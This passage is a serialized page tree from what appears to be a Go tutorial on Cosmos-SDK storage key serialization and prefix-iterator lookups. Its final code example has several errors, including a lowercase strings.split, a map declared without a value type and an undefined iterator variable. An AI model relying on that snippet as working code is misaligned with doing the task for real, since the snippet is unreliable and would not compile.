tyle":70},[87499],{"type":28,"value":23917},{"type":23,"tag":41,"props":87501,"children":87502},{"class":43,"line":1084},[87503,87507,87511,87515,87519,87523,87527,87531],{"type":23,"tag":41,"props":87504,"children":87505},{"style":858},[87506],{"type":28,"value":85586},{"type":23,"tag":41,"props":87508,"children":87509},{"style":70},[87510],{"type":28,"value":706},{"type":23,"tag":41,"props":87512,"children":87513},{"style":114},[87514],{"type":28,"value":85640},{"type":23,"tag":41,"props":87516,"children":87517},{"style":70},[87518],{"type":28,"value":1737},{"type":23,"tag":41,"props":87520,"children":87521},{"style":858},[87522],{"type":28,"value":85549},{"type":23,"tag":41,"props":87524,"children":87525},{"style":70},[87526],{"type":28,"value":970},{"type":23,"tag":41,"props":87528,"children":87529},{"style":858},[87530],{"type":28,"value":85465},{"type":23,"tag":41,"props":87532,"children":87533},{"style":70},[87534],{"type":28,"value":1969},{"type":23,"tag":41,"props":87536,"children":87537},{"class":43,"line":1102},[87538],{"type":23,"tag":41,"props":87539,"children":87540},{"emptyLinePlaceholder":18},[87541],{"type":28,"value":82},{"type":23,"tag":41,"props":87543,"children":87544},{"class":43,"line":1110},[87545,87549,87553,87557],{"type":23,"tag":41,"props":87546,"children":87547},{"style":858},[87548],{"type":28,"value":86550},{"type":23,"tag":41,"props":87550,"children":87551},{"style":170},[87552],{"type":28,"value":76411},{"type":23,"tag":41,"props":87554,"children":87555},{"style":114},[87556],{"type":28,"value":85558},{"type":23,"tag":41,"props":87558,"children":87559},{"style":70},[87560],{"type":28,"value":3461},{"type":23,"tag":41,"props":87562,"children":87563},{"class":43,"line":1118},[87564,87568,87572],{"type":23,"tag":41,"props":87565,"children":87566},{"style":70},[87567],{"type":28,"value":86449},{"type":23,"tag":41,"props":87569,"children":87570},{"style":94},[87571],{"type":28,"value":84759},{"type":23,"tag":41,"props":87573,"children":87574},{"style":70},[87575],{"type":28,"value":3506},{"type":23,"tag":41,"props":87577,"children":87578},{"class":43,"line":1137},[87579,87583,87587,87591,87595,87599,87603,87607],{"type":23,"tag":41,"props":87580,"children":87581},{"style":858},[87582],{"type":28,"value":86465},{"type":23,"tag":41,"props":87584,"children":87585},{"style":70},[87586],{"type":28,"value":706},{"type":23,"tag":41,"props":87588,"children":87589},{"style":114},[87590],{"type":28,"value":85595},{"type":23,"tag":41,"props":87592,"children":87593},{"style":70},[87594],{"type":28,"value":1737},{"type":23,"tag":41,"props":87596,"children":87597},{"style":114},[87598],{"type":28,"value":9136},{"type":23,"tag":41,"props":87600,"children":87601},{"style":70},[87602],{"type":28,"value":1737},{"type":23,"tag":41,"props":87604,"children":87605},{"style":858},[87606],{"type":28,"value":85734},{"type":23,"tag":41,"props":87608,"children":87609},{"style":70},[87610],{"type":28,"value":85616},{"type":23,"tag":41,"props":87612,"children":87613},{"class":43,"line":1163},[87614],{"type":23,"tag":41,"props":87615,"children":87616},{"style":70},[87617],{"type":28,"value":23917},{"type":23,"tag":41,"props":87619,"children":87620},{"class":43,"line":1188},[87621,87625,87629,87633,87637,87641,87645,87649],{"type":23,"tag":41,"props":87622,"children":87623},{"style":858},[87624],{"type":28,"value":85586},{"type":23,"tag":41,"props":87626,"children":87627},{"style":70},[87628],{"type":28,"value":706},{"type":23,"tag":41,"props":87630,"children":87631},{"style":114},[87632],{"type":28,"value":85640},{"type":23,"tag":41,"props":87634,"children":87635},{"style":70},[87636],{"type":28,"value":1737},{"type":23,"tag":41,"props":87638,"children":87639},{"style":858},[87640],{"type":28,"value":85675},{"type":23,"tag":41,"props":87642,"children":87643},{"style":70},[87644],{"type":28,"value":970},{"type":23,"tag":41,"props":87646,"children":87647},{"style":858},[87648],{"type":28,"value":85734},{"type":23,"tag":41,"props":87650,"children":87651},{"style":70},[87652],{"type":28,"value":1969},{"type":23,"tag":41,"props":87654,"children":87655},{"class":43,"line":1979},[87656],{"type":23,"tag":41,"props":87657,"children":87658},{"emptyLinePlaceholder":18},[87659],{"type":28,"value":82},{"type":23,"tag":41,"props":87661,"children":87662},{"class":43,"line":2002},[87663,87667,87671,87675,87679,87683],{"type":23,"tag":41,"props":87664,"children":87665},{"style":858},[87666],{"type":28,"value":86669},{"type":23,"tag":41,"props":87668,"children":87669},{"style":170},[87670],{"type":28,"value":76411},{"type":23,"tag":41,"props":87672,"children":87673},{"style":858},[87674],{"type":28,"value":82228},{"type":23,"tag":41,"props":87676,"children":87677},{"style":70},[87678],{"type":28,"value":706},{"type":23,"tag":41,"props":87680,"children":87681},{"style":114},[87682],{"type":28,"value":85217},{"type":23,"tag":41,"props":87684,"children":87685},{"style":70},[87686],{"type":28,"value":3461},{"type":23,"tag":41,"props":87688,"children":87689},{"class":43,"line":3835},[87690,87695],{"type":23,"tag":41,"props":87691,"children":87692},{"style":735},[87693],{"type":28,"value":87694},"        \"%s%d%s%s%s%s\"",{"type":23,"tag":41,"props":87696,"children":87697},{"style":70},[87698],{"type":28,"value":3506},{"type":23,"tag":41,"props":87700,"children":87701},{"class":43,"line":3895},[87702,87707],{"type":23,"tag":41,"props":87703,"children":87704},{"style":858},[87705],{"type":28,"value":87706},"        PositionMapPrefix",{"type":23,"tag":41,"props":87708,"children":87709},{"style":70},[87710],{"type":28,"value":3506},{"type":23,"tag":41,"props":87712,"children":87713},{"class":43,"line":9044},[87714,87718],{"type":23,"tag":41,"props":87715,"children":87716},{"style":858},[87717],{"type":28,"value":86709},{"type":23,"tag":41,"props":87719,"children":87720},{"style":70},[87721],{"type":28,"value":3506},{"type":23,"tag":41,"props":87723,"children":87724},{"class":43,"line":9061},[87725,87729],{"type":23,"tag":41,"props":87726,"children":87727},{"style":858},[87728],{"type":28,"value":86721},{"type":23,"tag":41,"props":87730,"children":87731},{"style":70},[87732],{"type":28,"value":3506},{"type":23,"tag":41,"props":87734,"children":87735},{"class":43,"line":9106},[87736,87740],{"type":23,"tag":41,"props":87737,"children":87738},{"style":858},[87739],{"type":28,"value":86733},{"type":23,"tag":41,"props":87741,"children":87742},{"style":70},[87743],{"type":28,"value":3506},{"type":23,"tag":41,"props":87745,"children":87746},{"class":43,"line":9212},[87747,87751],{"type":23,"tag":41,"props":87748,"children":87749},{"style":858},[87750],{"type":28,"value":86721},{"type":23,"tag":41,"props":87752,"children":87753},{"style":70},[87754],{"type":28,"value":3506},{"type":23,"tag":41,"props":87756,"children":87757},{"class":43,"line":23496},[87758,87762],{"type":23,"tag":41,"props":87759,"children":87760},{"style":858},[87761],{"type":28,"value":86756},{"type":23,"tag":41,"props":87763,"children":87764},{"style":70},[87765],{"type":28,"value":3506},{"type":23,"tag":41,"props":87767,"children":87768},{"class":43,"line":23531},[87769],{"type":23,"tag":41,"props":87770,"children":87771},{"style":70},[87772],{"type":28,"value":23917},{"type":23,"tag":41,"props":87774,"children":87775},{"class":43,"line":23539},[87776],{"type":23,"tag":41,"props":87777,"children":87778},{"style":70},[87779],{"type":28,"value":201},{"type":23,"tag":41,"props":87781,"children":87782},{"class":43,"line":23547},[87783],{"type":23,"tag":41,"props":87784,"children":87785},{"emptyLinePlaceholder":18},[87786],{"type":28,"value":82},{"type":23,"tag":41,"props":87788,"children":87789},{"class":43,"line":23556},[87790],{"type":23,"tag":41,"props":87791,"children":87792},{"emptyLinePlaceholder":18},[87793],{"type":28,"value":82},{"type":23,"tag":41,"props":87795,"children":87796},{"class":43,"line":23598},[87797,87801,87805],{"type":23,"tag":41,"props":87798,"children":87799},{"style":64},[87800],{"type":28,"value":76295},{"type":23,"tag":41,"props":87802,"children":87803},{"style":114},[87804],{"type":28,"value":86800},{"type":23,"tag":41,"props":87806,"children":87807},{"style":70},[87808],{"type":28,"value":3461},{"type":23,"tag":41,"props":87810,"children":87811},{"class":43,"line":23631},[87812,87816,87820],{"type":23,"tag":41,"props":87813,"children":87814},{"style":858},[87815],{"type":28,"value":85241},{"type":23,"tag":41,"props":87817,"children":87818},{"style":94},[87819],{"type":28,"value":76416},{"type":23,"tag":41,"props":87821,"children":87822},{"style":70},[87823],{"type":28,"value":3506},{"type":23,"tag":41,"props":87825,"children":87826},{"class":43,"line":23639},[87827,87831,87835,87839,87843,87847],{"type":23,"tag":41,"props":87828,"children":87829},{"style":858},[87830],{"type":28,"value":85253},{"type":23,"tag":41,"props":87832,"children":87833},{"style":70},[87834],{"type":28,"value":970},{"type":23,"tag":41,"props":87836,"children":87837},{"style":858},[87838],{"type":28,"value":86835},{"type":23,"tag":41,"props":87840,"children":87841},{"style":70},[87842],{"type":28,"value":76222},{"type":23,"tag":41,"props":87844,"children":87845},{"style":94},[87846],{"type":28,"value":84759},{"type":23,"tag":41,"props":87848,"children":87849},{"style":70},[87850],{"type":28,"value":3506},{"type":23,"tag":41,"props":87852,"children":87853},{"class":43,"line":23647},[87854,87858,87862,87866,87870],{"type":23,"tag":41,"props":87855,"children":87856},{"style":70},[87857],{"type":28,"value":76377},{"type":23,"tag":41,"props":87859,"children":87860},{"style":858},[87861],{"type":28,"value":72151},{"type":23,"tag":41,"props":87863,"children":87864},{"style":70},[87865],{"type":28,"value":76222},{"type":23,"tag":41,"props":87867,"children":87868},{"style":94},[87869],{"type":28,"value":84759},{"type":23,"tag":41,"props":87871,"children":87872},{"style":70},[87873],{"type":28,"value":152},{"type":23,"tag":41,"props":87875,"children":87876},{"class":43,"line":23656},[87877,87881,87885,87889],{"type":23,"tag":41,"props":87878,"children":87879},{"style":858},[87880],{"type":28,"value":85855},{"type":23,"tag":41,"props":87882,"children":87883},{"style":170},[87884],{"type":28,"value":76411},{"type":23,"tag":41,"props":87886,"children":87887},{"style":114},[87888],{"type":28,"value":85558},{"type":23,"tag":41,"props":87890,"children":87891},{"style":70},[87892],{"type":28,"value":3461},{"type":23,"tag":41,"props":87894,"children":87895},{"class":43,"line":23732},[87896,87900,87904],{"type":23,"tag":41,"props":87897,"children":87898},{"style":70},[87899],{"type":28,"value":86449},{"type":23,"tag":41,"props":87901,"children":87902},{"style":94},[87903],{"type":28,"value":84759},{"type":23,"tag":41,"props":87905,"children":87906},{"style":70},[87907],{"type":28,"value":3506},{"type":23,"tag":41,"props":87909,"children":87910},{"class":43,"line":23765},[87911,87915,87919,87923,87927,87931,87935,87939],{"type":23,"tag":41,"props":87912,"children":87913},{"style":858},[87914],{"type":28,"value":86465},{"type":23,"tag":41,"props":87916,"children":87917},{"style":70},[87918],{"type":28,"value":706},{"type":23,"tag":41,"props":87920,"children":87921},{"style":114},[87922],{"type":28,"value":85595},{"type":23,"tag":41,"props":87924,"children":87925},{"style":70},[87926],{"type":28,"value":1737},{"type":23,"tag":41,"props":87928,"children":87929},{"style":114},[87930],{"type":28,"value":9136},{"type":23,"tag":41,"props":87932,"children":87933},{"style":70},[87934],{"type":28,"value":1737},{"type":23,"tag":41,"props":87936,"children":87937},{"style":858},[87938],{"type":28,"value":85465},{"type":23,"tag":41,"props":87940,"children":87941},{"style":70},[87942],{"type":28,"value":85616},{"type":23,"tag":41,"props":87944,"children":87945},{"class":43,"line":23773},[87946],{"type":23,"tag":41,"props":87947,"children":87948},{"style":70},[87949],{"type":28,"value":23917},{"type":23,"tag":41,"props":87951,"children":87952},{"class":43,"line":23781},[87953,87957,87961,87965,87969,87973,87977,87981],{"type":23,"tag":41,"props":87954,"children":87955},{"style":858},[87956],{"type":28,"value":85586},{"type":23,"tag":41,"props":87958,"children":87959},{"style":70},[87960],{"type":28,"value":706},{"type":23,"tag":41,"props":87962,"children":87963},{"style":114},[87964],{"type":28,"value":85640},{"type":23,"tag":41,"props":87966,"children":87967},{"style":70},[87968],{"type":28,"value":1737},{"type":23,"tag":41,"props":87970,"children":87971},{"style":858},[87972],{"type":28,"value":85549},{"type":23,"tag":41,"props":87974,"children":87975},{"style":70},[87976],{"type":28,"value":970},{"type":23,"tag":41,"props":87978,"children":87979},{"style":858},[87980],{"type":28,"value":85465},{"type":23,"tag":41,"props":87982,"children":87983},{"style":70},[87984],{"type":28,"value":1969},{"type":23,"tag":41,"props":87986,"children":87987},{"class":43,"line":23818},[87988],{"type":23,"tag":41,"props":87989,"children":87990},{"emptyLinePlaceholder":18},[87991],{"type":28,"value":82},{"type":23,"tag":41,"props":87993,"children":87994},{"class":43,"line":23831},[87995,87999,88003,88007],{"type":23,"tag":41,"props":87996,"children":87997},{"style":858},[87998],{"type":28,"value":86992},{"type":23,"tag":41,"props":88000,"children":88001},{"style":170},[88002],{"type":28,"value":76411},{"type":23,"tag":41,"props":88004,"children":88005},{"style":114},[88006],{"type":28,"value":85558},{"type":23,"tag":41,"props":88008,"children":88009},{"style":70},[88010],{"type":28,"value":3461},{"type":23,"tag":41,"props":88012,"children":88013},{"class":43,"line":23844},[88014,88018,88022],{"type":23,"tag":41,"props":88015,"children":88016},{"style":70},[88017],{"type":28,"value":86449},{"type":23,"tag":41,"props":88019,"children":88020},{"style":94},[88021],{"type":28,"value":84759},{"type":23,"tag":41,"props":88023,"children":88024},{"style":70},[88025],{"type":28,"value":3506},{"type":23,"tag":41,"props":88027,"children":88028},{"class":43,"line":23857},[88029,88033,88037,88041,88045,88049,88053,88057],{"type":23,"tag":41,"props":88030,"children":88031},{"style":858},[88032],{"type":28,"value":86465},{"type":23,"tag":41,"props":88034,"children":88035},{"style":70},[88036],{"type":28,"value":706},{"type":23,"tag":41,"props":88038,"children":88039},{"style":114},[88040],{"type":28,"value":85595},{"type":23,"tag":41,"props":88042,"children":88043},{"style":70},[88044],{"type":28,"value":1737},{"type":23,"tag":41,"props":88046,"children":88047},{"style":114},[88048],{"type":28,"value":9136},{"type":23,"tag":41,"props":88050,"children":88051},{"style":70},[88052],{"type":28,"value":1737},{"type":23,"tag":41,"props":88054,"children":88055},{"style":858},[88056],{"type":28,"value":86835},{"type":23,"tag":41,"props":88058,"children":88059},{"style":70},[88060],{"type":28,"value":85616},{"type":23,"tag":41,"props":88062,"children":88063},{"class":43,"line":23911},[88064],{"type":23,"tag":41,"props":88065,"children":88066},{"style":70},[88067],{"type":28,"value":23917},{"type":23,"tag":41,"props":88069,"children":88070},{"class":43,"line":23920},[88071,88075,88079,88083,88087,88091,88095,88099],{"type":23,"tag":41,"props":88072,"children":88073},{"style":858},[88074],{"type":28,"value":85586},{"type":23,"tag":41,"props":88076,"children":88077},{"style":70},[88078],{"type":28,"value":706},{"type":23,"tag":41,"props":88080,"children":88081},{"style":114},[88082],{"type":28,"value":85640},{"type":23,"tag":41,"props":88084,"children":88085},{"style":70},[88086],{"type":28,"value":1737},{"type":23,"tag":41,"props":88088,"children":88089},{"style":858},[88090],{"type":28,"value":87085},{"type":23,"tag":41,"props":88092,"children":88093},{"style":70},[88094],{"type":28,"value":970},{"type":23,"tag":41,"props":88096,"children":88097},{"style":858},[88098],{"type":28,"value":86835},{"type":23,"tag":41,"props":88100,"children":88101},{"style":70},[88102],{"type":28,"value":1969},{"type":23,"tag":41,"props":88104,"children":88105},{"class":43,"line":32275},[88106],{"type":23,"tag":41,"props":88107,"children":88108},{"emptyLinePlaceholder":18},[88109],{"type":28,"value":82},{"type":23,"tag":41,"props":88111,"children":88112},{"class":43,"line":32296},[88113,88117,88121,88125,88129,88133],{"type":23,"tag":41,"props":88114,"children":88115},{"style":858},[88116],{"type":28,"value":86669},{"type":23,"tag":41,"props":88118,"children":88119},{"style":170},[88120],{"type":28,"value":76411},{"type":23,"tag":41,"props":88122,"children":88123},{"style":858},[88124],{"type":28,"value":82228},{"type":23,"tag":41,"props":88126,"children":88127},{"style":70},[88128],{"type":28,"value":706},{"type":23,"tag":41,"props":88130,"children":88131},{"style":114},[88132],{"type":28,"value":85217},{"type":23,"tag":41,"props":88134,"children":88135},{"style":70},[88136],{"type":28,"value":3461},{"type":23,"tag":41,"props":88138,"children":88139},{"class":43,"line":80946},[88140,88144],{"type":23,"tag":41,"props":88141,"children":88142},{"style":735},[88143],{"type":28,"value":87694},{"type":23,"tag":41,"props":88145,"children":88146},{"style":70},[88147],{"type":28,"value":3506},{"type":23,"tag":41,"props":88149,"children":88150},{"class":43,"line":80959},[88151,88156],{"type":23,"tag":41,"props":88152,"children":88153},{"style":858},[88154],{"type":28,"value":88155},"        AddressMapPrefix",{"type":23,"tag":41,"props":88157,"children":88158},{"style":70},[88159],{"type":28,"value":3506},{"type":23,"tag":41,"props":88161,"children":88162},{"class":43,"line":80967},[88163,88167],{"type":23,"tag":41,"props":88164,"children":88165},{"style":858},[88166],{"type":28,"value":86709},{"type":23,"tag":41,"props":88168,"children":88169},{"style":70},[88170],{"type":28,"value":3506},{"type":23,"tag":41,"props":88172,"children":88173},{"class":43,"line":80975},[88174,88178],{"type":23,"tag":41,"props":88175,"children":88176},{"style":858},[88177],{"type":28,"value":86721},{"type":23,"tag":41,"props":88179,"children":88180},{"style":70},[88181],{"type":28,"value":3506},{"type":23,"tag":41,"props":88183,"children":88184},{"class":43,"line":80983},[88185,88189],{"type":23,"tag":41,"props":88186,"children":88187},{"style":858},[88188],{"type":28,"value":86733},{"type":23,"tag":41,"props":88190,"children":88191},{"style":70},[88192],{"type":28,"value":3506},{"type":23,"tag":41,"props":88194,"children":88195},{"class":43,"line":81023},[88196,88200],{"type":23,"tag":41,"props":88197,"children":88198},{"style":858},[88199],{"type":28,"value":86721},{"type":23,"tag":41,"props":88201,"children":88202},{"style":70},[88203],{"type":28,"value":3506},{"type":23,"tag":41,"props":88205,"children":88206},{"class":43,"line":81031},[88207,88211],{"type":23,"tag":41,"props":88208,"children":88209},{"style":858},[88210],{"type":28,"value":87194},{"type":23,"tag":41,"props":88212,"children":88213},{"style":70},[88214],{"type":28,"value":3506},{"type":23,"tag":41,"props":88216,"children":88218},{"class":43,"line":88217},60,[88219],{"type":23,"tag":41,"props":88220,"children":88221},{"style":70},[88222],{"type":28,"value":23917},{"type":23,"tag":41,"props":88224,"children":88226},{"class":43,"line":88225},61,[88227],{"type":23,"tag":41,"props":88228,"children":88229},{"style":70},[88230],{"type":28,"value":201},{"type":23,"tag":24,"props":88232,"children":88233},{},[88234],{"type":28,"value":88235},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":24,"props":88237,"children":88238},{},[88239,88241,88246],{"type":28,"value":88240},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":37,"props":88242,"children":88244},{"className":88243},[],[88245],{"type":28,"value":67097},{"type":28,"value":88247},", data should still be retrievable through original keys.",{"type":23,"tag":24,"props":88249,"children":88250},{},[88251,88253,88259,88261,88266],{"type":28,"value":88252},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":37,"props":88254,"children":88256},{"className":88255},[],[88257],{"type":28,"value":88258},"map[Username]map[PositionName]Position",{"type":28,"value":88260}," associated with a ",{"type":23,"tag":37,"props":88262,"children":88264},{"className":88263},[],[88265],{"type":28,"value":85129},{"type":28,"value":88267}," from the storage. How can we safely accomplish this?",{"type":23,"tag":24,"props":88269,"children":88270},{},[88271,88273,88278,88280,88286],{"type":28,"value":88272},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":37,"props":88274,"children":88276},{"className":88275},[],[88277],{"type":28,"value":85200},{"type":28,"value":88279}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":37,"props":88281,"children":88283},{"className":88282},[],[88284],{"type":28,"value":88285},"vaultId",{"type":28,"value":1474},{"type":23,"tag":31,"props":88288,"children":88290},{"code":88289,"language":76159,"meta":7,"className":76160,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[88291],{"type":23,"tag":37,"props":88292,"children":88293},{"__ignoreMap":7},[88294,88310,88325,88374,88426,88455,88467,88513,88520,88566,88621,88628,88692,88753,88776,88795,88802,88809,88869,88928,88951,88970,88977,88984,89037,89085,89092,89099,89139,89168,89175,89182,89194],{"type":23,"tag":41,"props":88295,"children":88296},{"class":43,"line":44},[88297,88301,88306],{"type":23,"tag":41,"props":88298,"children":88299},{"style":64},[88300],{"type":28,"value":76295},{"type":23,"tag":41,"props":88302,"children":88303},{"style":114},[88304],{"type":28,"value":88305}," FetchPositionMapWithVaultId",{"type":23,"tag":41,"props":88307,"children":88308},{"style":70},[88309],{"type":28,"value":3461},{"type":23,"tag":41,"props":88311,"children":88312},{"class":43,"line":54},[88313,88317,88321],{"type":23,"tag":41,"props":88314,"children":88315},{"style":858},[88316],{"type":28,"value":85241},{"type":23,"tag":41,"props":88318,"children":88319},{"style":94},[88320],{"type":28,"value":76416},{"type":23,"tag":41,"props":88322,"children":88323},{"style":70},[88324],{"type":28,"value":3506},{"type":23,"tag":41,"props":88326,"children":88327},{"class":43,"line":76},[88328,88333,88337,88341,88345,88349,88353,88357,88361,88365,88370],{"type":23,"tag":41,"props":88329,"children":88330},{"style":70},[88331],{"type":28,"value":88332},") ([]",{"type":23,"tag":41,"props":88334,"children":88335},{"style":64},[88336],{"type":28,"value":67097},{"type":23,"tag":41,"props":88338,"children":88339},{"style":70},[88340],{"type":28,"value":312},{"type":23,"tag":41,"props":88342,"children":88343},{"style":94},[88344],{"type":28,"value":85146},{"type":23,"tag":41,"props":88346,"children":88347},{"style":70},[88348],{"type":28,"value":15402},{"type":23,"tag":41,"props":88350,"children":88351},{"style":64},[88352],{"type":28,"value":67097},{"type":23,"tag":41,"props":88354,"children":88355},{"style":70},[88356],{"type":28,"value":312},{"type":23,"tag":41,"props":88358,"children":88359},{"style":94},[88360],{"type":28,"value":85163},{"type":23,"tag":41,"props":88362,"children":88363},{"style":70},[88364],{"type":28,"value":15402},{"type":23,"tag":41,"props":88366,"children":88367},{"style":94},[88368],{"type":28,"value":88369},"Position",{"type":23,"tag":41,"props":88371,"children":88372},{"style":70},[88373],{"type":28,"value":152},{"type":23,"tag":41,"props":88375,"children":88376},{"class":43,"line":85},[88377,88382,88386,88390,88394,88398,88402,88406,88410,88414,88418,88422],{"type":23,"tag":41,"props":88378,"children":88379},{"style":858},[88380],{"type":28,"value":88381},"    values",{"type":23,"tag":41,"props":88383,"children":88384},{"style":170},[88385],{"type":28,"value":76411},{"type":23,"tag":41,"props":88387,"children":88388},{"style":64},[88389],{"type":28,"value":49663},{"type":23,"tag":41,"props":88391,"children":88392},{"style":70},[88393],{"type":28,"value":312},{"type":23,"tag":41,"props":88395,"children":88396},{"style":94},[88397],{"type":28,"value":85146},{"type":23,"tag":41,"props":88399,"children":88400},{"style":70},[88401],{"type":28,"value":15402},{"type":23,"tag":41,"props":88403,"children":88404},{"style":64},[88405],{"type":28,"value":67097},{"type":23,"tag":41,"props":88407,"children":88408},{"style":70},[88409],{"type":28,"value":312},{"type":23,"tag":41,"props":88411,"children":88412},{"style":94},[88413],{"type":28,"value":85163},{"type":23,"tag":41,"props":88415,"children":88416},{"style":70},[88417],{"type":28,"value":15402},{"type":23,"tag":41,"props":88419,"children":88420},{"style":94},[88421],{"type":28,"value":88369},{"type":23,"tag":41,"props":88423,"children":88424},{"style":70},[88425],{"type":28,"value":78092},{"type":23,"tag":41,"props":88427,"children":88428},{"class":43,"line":105},[88429,88434,88438,88442,88446,88451],{"type":23,"tag":41,"props":88430,"children":88431},{"style":858},[88432],{"type":28,"value":88433},"    i",{"type":23,"tag":41,"props":88435,"children":88436},{"style":170},[88437],{"type":28,"value":76411},{"type":23,"tag":41,"props":88439,"children":88440},{"style":858},[88441],{"type":28,"value":78636},{"type":23,"tag":41,"props":88443,"children":88444},{"style":70},[88445],{"type":28,"value":706},{"type":23,"tag":41,"props":88447,"children":88448},{"style":114},[88449],{"type":28,"value":88450},"KVStorePrefixIterator",{"type":23,"tag":41,"props":88452,"children":88453},{"style":70},[88454],{"type":28,"value":3461},{"type":23,"tag":41,"props":88456,"children":88457},{"class":43,"line":155},[88458,88463],{"type":23,"tag":41,"props":88459,"children":88460},{"style":858},[88461],{"type":28,"value":88462},"        kvStore",{"type":23,"tag":41,"props":88464,"children":88465},{"style":70},[88466],{"type":28,"value":3506},{"type":23,"tag":41,"props":88468,"children":88469},{"class":43,"line":186},[88470,88475,88479,88483,88487,88492,88496,88501,88505,88509],{"type":23,"tag":41,"props":88471,"children":88472},{"style":858},[88473],{"type":28,"value":88474},"        fmt",{"type":23,"tag":41,"props":88476,"children":88477},{"style":70},[88478],{"type":28,"value":706},{"type":23,"tag":41,"props":88480,"children":88481},{"style":114},[88482],{"type":28,"value":85217},{"type":23,"tag":41,"props":88484,"children":88485},{"style":70},[88486],{"type":28,"value":1737},{"type":23,"tag":41,"props":88488,"children":88489},{"style":735},[88490],{"type":28,"value":88491},"\"%s%d\"",{"type":23,"tag":41,"props":88493,"children":88494},{"style":70},[88495],{"type":28,"value":970},{"type":23,"tag":41,"props":88497,"children":88498},{"style":858},[88499],{"type":28,"value":88500},"PositionMapPrefix",{"type":23,"tag":41,"props":88502,"children":88503},{"style":70},[88504],{"type":28,"value":970},{"type":23,"tag":41,"props":88506,"children":88507},{"style":858},[88508],{"type":28,"value":88285},{"type":23,"tag":41,"props":88510,"children":88511},{"style":70},[88512],{"type":28,"value":1969},{"type":23,"tag":41,"props":88514,"children":88515},{"class":43,"line":195},[88516],{"type":23,"tag":41,"props":88517,"children":88518},{"style":70},[88519],{"type":28,"value":23917},{"type":23,"tag":41,"props":88521,"children":88522},{"class":43,"line":905},[88523,88527,88532,88536,88540,88545,88549,88553,88557,88562],{"type":23,"tag":41,"props":88524,"children":88525},{"style":58},[88526],{"type":28,"value":3034},{"type":23,"tag":41,"props":88528,"children":88529},{"style":70},[88530],{"type":28,"value":88531}," ; ",{"type":23,"tag":41,"props":88533,"children":88534},{"style":858},[88535],{"type":28,"value":3737},{"type":23,"tag":41,"props":88537,"children":88538},{"style":70},[88539],{"type":28,"value":706},{"type":23,"tag":41,"props":88541,"children":88542},{"style":114},[88543],{"type":28,"value":88544},"Valid",{"type":23,"tag":41,"props":88546,"children":88547},{"style":70},[88548],{"type":28,"value":28448},{"type":23,"tag":41,"props":88550,"children":88551},{"style":858},[88552],{"type":28,"value":3737},{"type":23,"tag":41,"props":88554,"children":88555},{"style":70},[88556],{"type":28,"value":706},{"type":23,"tag":41,"props":88558,"children":88559},{"style":114},[88560],{"type":28,"value":88561},"Next",{"type":23,"tag":41,"props":88563,"children":88564},{"style":70},[88565],{"type":28,"value":1134},{"type":23,"tag":41,"props":88567,"children":88568},{"class":43,"line":922},[88569,88574,88578,88583,88587,88591,88595,88599,88603,88608,88612,88617],{"type":23,"tag":41,"props":88570,"children":88571},{"style":858},[88572],{"type":28,"value":88573},"        k",{"type":23,"tag":41,"props":88575,"children":88576},{"style":170},[88577],{"type":28,"value":76411},{"type":23,"tag":41,"props":88579,"children":88580},{"style":858},[88581],{"type":28,"value":88582}," strings",{"type":23,"tag":41,"props":88584,"children":88585},{"style":70},[88586],{"type":28,"value":706},{"type":23,"tag":41,"props":88588,"children":88589},{"style":114},[88590],{"type":28,"value":70038},{"type":23,"tag":41,"props":88592,"children":88593},{"style":70},[88594],{"type":28,"value":1737},{"type":23,"tag":41,"props":88596,"children":88597},{"style":858},[88598],{"type":28,"value":3737},{"type":23,"tag":41,"props":88600,"children":88601},{"style":70},[88602],{"type":28,"value":706},{"type":23,"tag":41,"props":88604,"children":88605},{"style":114},[88606],{"type":28,"value":88607},"Key",{"type":23,"tag":41,"props":88609,"children":88610},{"style":70},[88611],{"type":28,"value":18363},{"type":23,"tag":41,"props":88613,"children":88614},{"style":858},[88615],{"type":28,"value":88616},"Seperator",{"type":23,"tag":41,"props":88618,"children":88619},{"style":70},[88620],{"type":28,"value":1969},{"type":23,"tag":41,"props":88622,"children":88623},{"class":43,"line":930},[88624],{"type":23,"tag":41,"props":88625,"children":88626},{"emptyLinePlaceholder":18},[88627],{"type":28,"value":82},{"type":23,"tag":41,"props":88629,"children":88630},{"class":43,"line":939},[88631,88636,88640,88644,88649,88653,88657,88661,88665,88670,88674,88679,88683,88687],{"type":23,"tag":41,"props":88632,"children":88633},{"style":858},[88634],{"type":28,"value":88635},"        username",{"type":23,"tag":41,"props":88637,"children":88638},{"style":170},[88639],{"type":28,"value":76411},{"type":23,"tag":41,"props":88641,"children":88642},{"style":114},[88643],{"type":28,"value":85558},{"type":23,"tag":41,"props":88645,"children":88646},{"style":70},[88647],{"type":28,"value":88648},"([]",{"type":23,"tag":41,"props":88650,"children":88651},{"style":94},[88652],{"type":28,"value":84759},{"type":23,"tag":41,"props":88654,"children":88655},{"style":70},[88656],{"type":28,"value":970},{"type":23,"tag":41,"props":88658,"children":88659},{"style":858},[88660],{"type":28,"value":85631},{"type":23,"tag":41,"props":88662,"children":88663},{"style":70},[88664],{"type":28,"value":706},{"type":23,"tag":41,"props":88666,"children":88667},{"style":114},[88668],{"type":28,"value":88669},"DecodedLen",{"type":23,"tag":41,"props":88671,"children":88672},{"style":70},[88673],{"type":28,"value":1737},{"type":23,"tag":41,"props":88675,"children":88676},{"style":858},[88677],{"type":28,"value":88678},"k",{"type":23,"tag":41,"props":88680,"children":88681},{"style":70},[88682],{"type":28,"value":312},{"type":23,"tag":41,"props":88684,"children":88685},{"style":164},[88686],{"type":28,"value":4024